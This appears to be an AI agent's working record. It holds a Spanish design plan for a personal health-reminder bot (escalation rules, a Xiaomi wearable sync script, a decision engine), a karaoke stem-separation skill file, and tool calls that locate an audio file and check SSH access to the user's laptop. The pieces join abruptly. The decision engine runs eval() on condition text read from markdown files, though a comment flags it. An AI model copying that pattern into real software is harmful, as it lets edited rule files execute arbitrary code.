08:00 - 09:00 | Deep Work → 08:00 Movement break POSTPONED to 09:01 10:00 - 11:00 | Team Meeting → 10:00 Movement break CANCELLED → 11:01 NEW: "Meeting done. Elongá 2 min + agua" 13:00 - 14:00 | Almuerzo con cliente → 12:45 "💧 Agua antes de almorzar" → 14:30 "¿Fatiga post-comida?"17:00 - 18:30 | Calistenia → All movement breaks CANCELLED → 18:31 "💪 Sesión completa! 2 vasos agua + proteína" --- ### 3. escalation_rules.md - Sistema de Escalation ```markdown # Sistema de Escalation y Alertas ## Niveles de Severidad ### 🟢 INFO (Informativo) Trigger: Desvío leve del objetivo Acción: Notificación simple Ejemplos: ```yaml Condición: water_intake = 8/10 vasos Mensaje: "💧 Vas 8/10 vasos. 2 más y cumplís!" Acción: Ninguna adicional Condición: movement_breaks = 6/8 Mensaje: "🚶 6/8 breaks. Buen día!" Acción: Ninguna adicional 🟡 WARNING (Advertencia) Trigger: Desvío significativo o patrón preocupante Acción: Notificación + sugerencia Ejemplos: Condición: water_intake < 6 vasos AND hora > 16:00 Mensaje: "⚠ Solo {count} vasos y son las 16hs" "Tomá 2 ahora mismo. Esto afecta tu fatiga post-comida" Acción: Enviar reminder cada 30 min hasta llegar a 8 Condición: breakfast_protein_missed = 2 consecutive days Mensaje: "⚠ 2do día sin proteína en desayuno" "Recordá: esto explica tu fatiga. ¿Necesitás recetas rápidas?" Acción: Ofrecer quick_buttons(["Recetas", "Posponer", "Ignoring"]) Condición: movement_breaks < 4 AND knee_pain_logged_today Mensaje: "⚠ Pocas pausas + dolor de rodilla" "Las tendinitis empeoran con inmovilidad" Acción: Aumentar frecuencia de breaks a cada 45 min 🔴 ALERT (Alerta Crítica) Trigger: Desvío crítico o riesgo de salud Acción: Notificación urgente + intervención Ejemplos: Condición: screen_time_violations >= 4 this_week Mensaje: "🚨 4ta violación de pantallas esta semana" "Tu FC puede estar subiendo (fue 62→71 en dic por menos)" "¿Qué está pasando?" Acción: - Enviar cuestionario de diagnóstico - Bloquear "Snooze" option - Reporte especial al final del día Condición: resting_hr > 70 for 3 consecutive days Mensaje: "🚨 FC en reposo: {hr} por 3er día seguido" "Tu baseline es 62. Posibles causas:" "- Mala recuperación" "- Sobreentrenamiento" "- Enfermedad incubando" "- Estrés elevado" Acción: - Sugerir día de descanso completo - Aumentar tracking de síntomas - Si continúa 2 días más → sugerir consulta médica Condición: knee_pain OR shoulder_pain logged 3+ times this_week Mensaje: "🚨 Dolor de {location} reportado {count} veces" "Esto indica empeoramiento de tendinitis" "ACCIÓN REQUERIDA: Reducir volumen de calistenia" Acción: - Bloquear próxima sesión de calistenia - Enviar "Hacé solo movilidad suave hoy" - Reminder: "Agendá fisio/traumatólogo" 🔥 CRITICAL (Crítico - Requiere Acción Inmediata) Trigger: Situación de riesgo inmediato Acción: Intervención directa + bloqueo de conductas Ejemplos: Condición: resting_hr > 80 for 5 consecutive days Mensaje: "🔥 CRÍTICO: FC {hr} por 5to día" "Esto es 30% sobre tu baseline (62)" "Causas posibles:" "- Sobre-entrenamiento severo" "- Infección/enfermedad" "- Estrés crónico extremo" "" "STOP a todo ejercicio intenso" "Consultá médico HOY" Acción: - CANCELAR todas las sesiones de calistenia programadas - Solo permitir caminatas suaves - Enviar reminder cada 6hs hasta normalizar Condición: water_intake < 3 vasos for 2 consecutive days Mensaje: "🔥 DESHIDRATACIÓN SEVERA" "Solo {count} vasos en 2 días" "Esto afecta: riñones, cognición, rendimiento, recuperación" "TOMA 3 VASOS AHORA" Acción: - Reminder cada 15 min hasta tomar 3 vasos - No permitir postponer - Escalar a contacto de emergencia si no responde en 2hs Correlaciones Automáticas El sistema detecta patrones y ajusta alertas: Pattern_Detected: "water < 7 → fatigue_post_meal = 80% probability" Adaptation: - Cuando water < 7 a las 12:00 - Enviar: "💡 PATRÓN: Baja agua = alta fatiga post-comida en vos" - "Tomá 2 vasos antes de almorzar" Pattern_Detected: "screen_time_late → resting_hr + 3-5 bpm next_day" Adaptation: - Aumentar urgencia de screen cutoff reminder - Mostrar: "Ayer pantallas hasta tarde → hoy HR = {hr} (+4 vs baseline)"Pattern_Detected: "no_mobility_routine → knee_pain within 48hs" Adaptation: - Si 2 días sin movilidad - Enviar: "⚠ Sin movilidad 2 días. Históricamente esto → dolor rodilla" - "Hacé 10 min AHORA para prevenir" Decisión Tree para Síntomas knee_pain OR shoulder_pain logged: ├─ First occurrence this week │ └─ Send: "Anotado. ¿Intensidad 1-10?" │ └─ Log intensity and timestamp │ ├─ Second occurrence (within 7 days) │ └─ Send: "2da vez esta semana. ¿Mismo tipo de dolor?" │ └─ If same location: 🟡 WARNING level │ "Considerá reducir volumen próxima sesión" │ ├─ Third occurrence (within 7 days) │ └─ 🔴 ALERT level │ "3 veces en 7 días = patrón de empeoramiento" │ "REDUCE calistenia a 1h (no 1.5h)" │ "¿Ya agendaste fisio?" │ └─ Offer quick_buttons(["Agendado", "Necesito ayuda", "Ignorar"]) │ └─ Fourth occurrence (within 7 days) └─ 🔥 CRITICAL level "STOP ejercicio intenso hasta ver especialista" "Solo movilidad suave permitida" └─ BLOCK next calisthenics session Prioridades de Acción (Orden) 1. Salud Inmediata (dolor, FC anormal) 2. Fundamentos Diarios (agua, desayuno proteico) 3. Prevención (movilidad, breaks) 4. Optimización (sueño, timing) Timing de Escalations INFO: Real-time (inmediato) WARNING: - Primera vez: Inmediato - Repetición: Al final del día (resumen) ALERT: - Inmediato + follow-up cada 6hs hasta resolver CRITICAL: - Inmediato - Repetir cada 3hs - Escalar a contacto de emergencia si no hay respuesta en 24hs Override Manual Usuario puede: /override [rule_name] [duration] Ejemplo: /override screen_cutoff 1d → Desactiva alertas de pantallas por 1 día (ej: viaje, evento especial) /emergency_mode → Solo alertas CRITICAL → Para situaciones de crisis/estrés extremo Aprendizaje Continuo El sistema actualiza correlations.md cada semana: ## Correlación Detectada - Semana 2025-W07 Pattern: breakfast_no_protein → fatigue_post_lunch Confidence: 85% (6/7 días) Action: Aumentar prioridad de desayuno proteico Escalation: Si 3 días seguidos sin proteína → WARNING (antes era INFO) --- ### 4. xiaomi_config.yaml + Integración ```yaml # xiaomi_config.yaml device: model: "Mi Band 7 / Mi Watch" # Actualizar con tu modelo específico mac_address: "" # Se obtiene del app Mi Fit auth: xiaomi_account: "tu_email@gmail.com" # Las credenciales se manejan via OAuth con Mi Fit app sync_settings: frequency: "every_30_min" # Matching clawdbot cycle retry_on_fail: 3 timeout: 30 # seconds metrics_to_pull: critical: # Pull siempre - heart_rate_resting # FC en reposo - heart_rate_current # FC actual - sleep_duration # Horas de sueño - sleep_deep # Sueño profundo (min) - sleep_light # Sueño ligero (min) - sleep_rem # REM (min) important: # Pull si está disponible - hrv # Variabilidad cardíaca - stress_level # Nivel de estrés (0-100) - steps # Pasos diarios - calories_burned # Calorías - spo2 # Saturación de oxígeno optional: # Nice to have - workout_sessions # Detecta entrenamientos auto - standing_time # Tiempo de pie - distance_walked # Distancia caminada data_validation: hr_resting: min: 40 # Por debajo → error de lectura max: 100 # Por encima → alerta hr_current: min: 40 max: 200 sleep_duration: min: 3 # horas - menos es sospechoso max: 12 # horas - más es sospechoso alert_thresholds: hr_resting_increase: 10 # bpm sobre baseline → warning hr_resting_critical: 15 # bpm sobre baseline → alert sleep_duration_low: 6 # horas - menos → warning hrv_decrease: 20 # % bajo baseline → warning Script de Sync: xiaomi_sync.py """ Xiaomi Mi Band/Watch Integration Usa la librería 'python-miband' o 'huami-token' para auth """ import json from datetime import datetime, timedelta import requests# OPCIÓN 1: Via Mi Fit API (requiere reverse engineering, complicado) # OPCIÓN 2: Via Gadgetbridge (open source, más confiable) # OPCIÓN 3: Via Zepp API (oficial pero limitado) # RECOMENDACIÓN: Gadgetbridge approach class XiaomiSync: def __init__(self, config_path="config/xiaomi_config.yaml"): self.config = self.load_config(config_path) self.last_sync = None def pull_health_data(self): """ Pull desde Gadgetbridge SQLite DB o Zepp API Gadgetbridge guarda todo en: /data/gadgetbridge.db """ try: data = { "timestamp": datetime.now().isoformat(), "hr_resting": self.get_resting_hr(), "hr_current": self.get_current_hr(), "sleep_last_night": self.get_sleep_data(), "steps_today": self.get_steps(), "hrv": self.get_hrv() if self.config['metrics_to_pull']['important']['hrv'] else None } # Validación if not self.validate_data(data): return {"error": "Invalid data from device"} # Guardar self.save_to_file(data, "data/xiaomi_data.json") return data except Exception as e: return {"error": str(e)} def get_resting_hr(self): """ Obtiene FC en reposo del día Xiaomi calcula esto automáticamente en la madrugada """ # Ejemplo con Gadgetbridge DB query = """ SELECT AVG(heart_rate) FROM mi_band_activity_sample WHERE timestamp >= datetime('now', '-8 hours') AND heart_rate BETWEEN 40 AND 80 AND activity_kind = 0 -- 0 = sleep/rest """ # Ejecutar query contra Gadgetbridge DB # O parsear desde JSON export de Zepp return 62 # Placeholder def detect_workout_auto(self): """ Xiaomi detecta workouts automáticamente Marcar como sesión de calistenia si detecta """ query = """ SELECT * FROM workouts WHERE date = TODAY AND (type = 'strength' OR type = 'other') AND duration_minutes BETWEEN 60 AND 120 """ # Si encuentra → auto-marcar daily_goals.calisthenics_session pass def validate_data(self, data): """Valida según xiaomi_config.yaml thresholds""" hr = data.get('hr_resting') if hr and (hr < 40 or hr > 100): return False return True Instalación de Gadgetbridge (en Raspberry Pi): # Gadgetbridge es Android app, pero puedes: # 1. Correr Gadgetbridge en Android con auto-export a Raspberry # 2. O usar Zepp API directamente (más fácil) # OPCIÓN RECOMENDADA: Zepp API (oficial) pip install zepp-python # Si existe una librería # O hacer requests directos a Zepp Cloud API Integración en health_agent.py: from xiaomi_sync import XiaomiSync def main_health_loop(): xiaomi = XiaomiSync() # Cada 30 min (matching clawdbot) while True: # 1. Pull data de Xiaomi xiaomi_data = xiaomi.pull_health_data() if 'error' not in xiaomi_data: # 2. Actualizar baseline update_baseline_hr(xiaomi_data['hr_resting']) # 3. Check escalations basado en data real check_hr_escalation(xiaomi_data['hr_resting']) check_sleep_quality(xiaomi_data['sleep_last_night']) # 4. Auto-mark workout si detectado if xiaomi.detect_workout_auto(): mark_calisthenics_completed() time.sleep(1800) # 30 min 5. decision_engine.py - Motor de Decisiones """ Motor de decisiones que lee los .md files y ejecuta lógica """ import re from datetime import datetime import yaml class DecisionEngine: def __init__(self): self.escalation_rules = self.load_markdown("logic/escalation_rules.md") self.calendar_rules = self.load_markdown("logic/calendar_rules.md") self.correlations = self.load_markdown("logic/correlations.md") def load_markdown(self, filepath): """Parse markdown y extrae reglas en formato estructurado""" with open(filepath, 'r') as f: content = f.read() # Extrae bloques YAML de los code fences yaml_blocks = re.findall(r'```yaml (.*?) ```', content, re.DOTALL) rules = [yaml.safe_load(block) for block in yaml_blocks] return { "raw_markdown": content, "parsed_rules": rules } def evaluate_escalation(self, metric, value, context={}): """ Lee escalation_rules.md y decide qué acción tomar """ for rule in self.escalation_rules['parsed_rules']: condition = rule.get('Condición', rule.get('Condition')) if self.matches_condition(condition, metric, value, context): return { "level": self.extract_level(rule), "message": rule.get('Mensaje', rule.get('Mensaje')), "action": rule.get('Acción', rule.get('Action')) } return None # No escalation needed def matches_condition(self, condition, metric, value, context): """ Evalúa si condición del .md se cumple Ejemplo: "water_intake < 6 vasos AND hora > 16:00" """ # Parse natural language condition condition = condition.replace('{count}', str(value)) # Eval con contexto # NOTA: En producción usar parser seguro, no eval() try: return eval(condition, context) except: return False def extract_level(self, rule): """Extrae nivel de severidad del mensaje""" msg = rule.get('Mensaje', '') if '🔥' in msg or 'CRÍTICO' in msg: return 'CRITICAL' elif '🚨' in msg or 'ALERT' in msg.upper(): return 'ALERT' elif '⚠' in msg or 'WARNING' in msg.upper(): return 'WARNING' else: return 'INFO' def adapt_to_calendar(self, event, reminder_type): """ Lee calendar_rules.md y adapta recordatorio """ # Detecta tipo de evento event_type = self.classify_event(event) # Busca regla matching en calendar_rules.md for rule_block in self.calendar_rules['raw_markdown'].split('###'): if event_type.upper() in rule_block: # Extrae adaptaciones if 'CANCELAR' in rule_block and reminder_type in rule_block: return {'action': 'cancel'} elif 'POSTPONE' in rule_block or 'POSTPONER' in rule_block: return {'action': 'postpone', 'to': 'event_end + 1min'} return {'action': 'send_normal'} # Default def classify_event(self, event): """Clasifica evento según calendar_rules.md""" title = event.get('title', '').lower() keywords = { 'MEETING': ['meeting', 'reunión', 'call', 'sync', '1:1'], 'FOCUS': ['focus', 'deep work', 'coding', 'writing'], 'WORKOUT': ['gym', 'workout', 'calistenia', 'ejercicio'], 'MEAL': ['almuerzo', 'cena', 'desayuno', 'lunch', 'dinner'] } for event_type, keywords_list in keywords.items(): if any(kw in title for kw in keywords_list): return event_type return 'OTHER' def update_correlations(self, new_pattern): """ Agrega nueva correlación detectada a correlations.md """ with open("logic/correlations.md", 'a') as f: f.write(f" ## Correlación Detectada - {datetime.now().strftime('%Y-W%W')} ") f.write(f"**Pattern:** {new_pattern['pattern']} ") f.write(f"**Confidence:** {new_pattern['confidence']}% ") f.write(f"**Action:** {new_pattern['action']} ") 6. Ejemplo Completo de Flujo # health_agent.py (main loop en clawdbot) from decision_engine import DecisionEngine from xiaomi_sync import XiaomiSync from google_calendar import GoogleCalendar import telegram_bot def run_health_check(): engine = DecisionEngine() xiaomi = XiaomiSync() calendar = GoogleCalendar() # 1. Pull data de Xiaomi health_data = xiaomi.pull_health_data() hr_resting = health_data['hr_resting'] # 2. Check escalation según escalation_rules.md escalation = engine.evaluate_escalation( metric='resting_hr', value=hr_resting, context={'baseline': 62, 'current_day': 3} ) if escalation and escalation['level'] == 'ALERT': telegram_bot.send_urgent(escalation['message']) execute_action(escalation['action']) # 3. Check calendar para adaptar próximo reminder current_time = datetime.now() events = calendar.get_events_in_next_hour() if events: for event in events: adaptation = engine.adapt_to_calendar(event, 'movement_break') if adaptation['action'] == 'postpone': schedule_reminder_after_event(event) elif adaptation['action'] == 'cancel': cancel_reminder(event.start_time) # 4. Send recordatorios normales (si no hay adaptación) send_scheduled_reminders(current_time) primero documenta el plan verbatim
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:5:Objetivo: mover sistema actual de `mmcblk0` (16 GB) a una microSD nueva de 64 GB con rollback rápido.
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:9:- Sistema en ejecución desde microSD interna `mmcblk0`
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:26:- conserva sistema, usuarios, servicios, configs y `/home`
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:71:### 3. Copia del sistema
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:73:Copiar root actual al destino con exclusiones de pseudo-filesystems:
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:92:### 4. Ajustar UUIDs en el sistema nuevo
/home/sebas/ops-notes/sd-transplant-runbook-2026-04-17.md:170:- confirmar filesystem ext4 válido en partición root
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py:90:            (fd, name) = tempfile.mkstemp(dir=dirname)
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/pip/_vendor/cachecontrol/filewrapper.py:29:    it'll all be in the filesystem memory cache, so there should be no

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---
name: karaoke-stem-separation
description: Create a local karaoke or instrumental track from a user-provided audio file
---

# karaoke-stem-separation

## Use When

- the user provides a local audio file they already have
- they want a karaoke, instrumental, or vocal stem
- output quality matters more than speed

## Preferred Workflow

1. Confirm the source file exists and inspect it with `ffprobe`.
2. Prefer real stem separation with Demucs over simple stereo center cancellation.
3. **Default heavy work target is Sebas laptop** via Tailscale SSH host `sebastians-macbook-pro-2` when available.
4. Laptop-first flow:
   - copy source audio to `~/tmp/karaoke-share/` on the laptop
   - create/reuse venv at `~/.cache/demucs-venv`
   - install `demucs` there if missing
   - run Demucs on laptop CPU: `python -m demucs -n htdemucs --two-stems vocals --mp3 --mp3-bitrate 320 --mp3-preset 2 -d cpu -o "<output-dir>" "<input-file>"`
   - copy resulting `no_vocals.mp3` back to the original machine near the source, usually with suffix `_karaoke_demucs.mp3`
5. If laptop path is unavailable or fails, fall back to local Pi execution.
6. On local Pi fallback, use `/mnt/rpi/tmp` for temp files and caches and `/mnt/rpi/Music` or a nearby writable path for outputs.
7. If needed on local Pi, ensure the system packages exist:
   - `sudo apt-get install -y python3-torch python3-torchaudio python3-antlr4`
8. Create a local venv that reuses system packages:
   - `python3 -m venv --system-site-packages "/mnt/rpi/tmp/demucs-venv-sys"`
9. Install the lighter Python packages into that local venv:
   - `TMPDIR="/mnt/rpi/tmp" PIP_CACHE_DIR="/mnt/rpi/tmp/pip-cache" "/mnt/rpi/tmp/demucs-venv-sys/bin/pip" install --no-deps demucs dora-search einops julius lameenc openunmix omegaconf retrying submitit treetable`
10. Run local Demucs on CPU with vocals split out:
   - `TMPDIR="/mnt/rpi/tmp" XDG_CACHE_HOME="/mnt/rpi/tmp/.cache" "/mnt/rpi/tmp/demucs-venv-sys/bin/python" -m demucs -n htdemucs --two-stems vocals --mp3 --mp3-bitrate 320 --mp3-preset 2 -d cpu -o "<output-dir>" "<input-file>"`
11. The instrumental will be `no_vocals.mp3`; copy it to a clearly named final file near the source.
12. Verify the final file with `ffprobe` and share it if requested.

## Fallback

- if Demucs is unavailable, `ffmpeg` center cancellation can be used as a last resort, but call out that quality will often be worse and vocals may remain

## Rules

- never modify the original source file
- do not delete the original downloaded/reference track after making karaoke; keep it beside the derived output unless the user explicitly asks to remove it
- create a new output file with a clear suffix like `_karaoke_demucs.mp3`
- prefer Sebas laptop first for CPU-heavy separation work; if that fails, fall back local
- prefer CPU mode on this Raspberry Pi unless there is a known accelerator configured
- when using laptop, bring final output back to the original source directory or its nearby `karaoke/` subdir
- if root disk space is tight, clear only temporary caches you created and keep heavy caches under `/mnt/rpi/tmp`
- do not claim center cancellation is true stem separation


find /home/sebas /mnt/rpi -type f \( -iname '*cicatrices*' -o -iname '*karaoke*' -o -iname '*.mp3' -o -iname '*.wav' -o -iname '*.m4a' -o -iname '*.flac' \) 2>/dev/null | head -n 300


Command timed out after 15 seconds


find /home/sebas/Downloads /home/sebas/Music /mnt/rpi/Music -maxdepth 3 -type f \( -iname '*cicatrices*' -o -iname '*.mp3' -o -iname '*.wav' -o -iname '*.m4a' -o -iname '*.flac' \) 2>/dev/null | head -n 300


seguir sí. pero no veo archivo `cicatrices`.

solo encuentro esto en música:
- `/mnt/rpi/Music/Jordan_Rakei_Best_Part_Maida_Vale_Session.mp3`
- y sus karaokes ya hechos

para seguir sin romper nada, dime una:
- pega ruta del archivo `cicatrices`
- o súbelo aquí
- o di carpeta donde está

cuando tenga archivo, yo hago karaoke.


en mp3-share


find /home/sebas -type d -iname 'mp3-share' 2>/dev/null | head -n 20 && echo '---' && find /mnt/rpi -type d -iname 'mp3-share' 2>/dev/null | head -n 20


/home/sebas/downloads/mp3-share
---


find /home/sebas/downloads/mp3-share -maxdepth 2 -type f \( -iname '*cicatrices*' -o -iname '*.mp3' -o -iname '*.wav' -o -iname '*.m4a' -o -iname '*.flac' \) | sed -n '1,80p'


ffprobe -v error -show_entries format=filename,duration,size:stream=codec_name,channels,sample_rate,bit_rate -of default=noprint_wrappers=1 '/home/sebas/downloads/mp3-share/cicatrices.mp3'


codec_name=mp3
sample_rate=44100
channels=2
bit_rate=225176
filename=/home/sebas/downloads/mp3-share/cicatrices.mp3
duration=244.297143
size=6876351


ssh -o BatchMode=yes -o ConnectTimeout=8 sebastians-macbook-pro-2 'echo ok && uname -a && command -v python3'


ok
Darwin Sebastians-MacBook-Pro-2.local 24.6.0 Darwin Kernel Version 24.6.0: Mon Jul 14 11:28:30 PDT 2025; root:xnu-11417.140.69~1/RELEASE_ARM64_T6030 arm64
/Library/Frameworks/Python.framework/Versions/3.11/bin/python3